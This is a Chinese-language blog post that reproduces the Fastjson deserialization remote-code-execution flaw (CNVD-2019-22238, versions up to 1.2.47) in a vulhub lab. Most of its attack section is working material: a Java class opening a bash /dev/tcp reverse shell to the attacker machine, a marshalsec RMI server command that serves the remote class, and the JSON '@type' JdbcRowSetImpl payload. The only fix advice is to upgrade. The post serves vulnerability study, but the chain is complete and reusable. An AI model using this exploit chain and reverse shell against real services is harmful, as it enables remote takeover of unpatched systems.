Fastjson反序列化漏洞复现(CNVD‐2019‐22238)

一、漏洞描述

Fastjson 是一个开源JSON解析库。它提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会被远程执行任意代码。

二、影响范围

fastjson <= 1.2.47

三、环境准备

攻击机:192.168.208.131(windows)

目标机:192.168.208.129(Linux)

服务器:192.168.208.129(Linux)

由于资源有限,目标机和服务器共用一台设备

四、漏洞复现

漏洞环境:kali vulhub靶场

启动靶场环境

 

1、编写反弹shell的java文件Exploit.java,并使用“javac Exploit.java”命令编译为Exploit.class。将该class文件上传到服务器。

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
      Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.208.131/666;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

2、服务器使用python命令“python3 -m http.server”开启http服务,使其目录下文件可以访问到。

 

 

 

3、使用marshalsec启动一个RMI服务器,监听一个自定义端口,这里监听9999,并制定加载远程类Exploit.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.208.129:8000/#Exploit" 9999

 

 4、攻击机开启监听666端口。

 

 5、访问靶场环境并抓包,将GET改为POST,插入payload。

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.208.129:9999/Exploit",
        "autoCommit":true
    }
}

 

 放包后即可看到已成功反弹shell。

 

 五、修复建议

升级到最新版本。

 

posted @ 2022-04-26 16:24  打了个喷嚏  阅读(901)  评论(0编辑  收藏  举报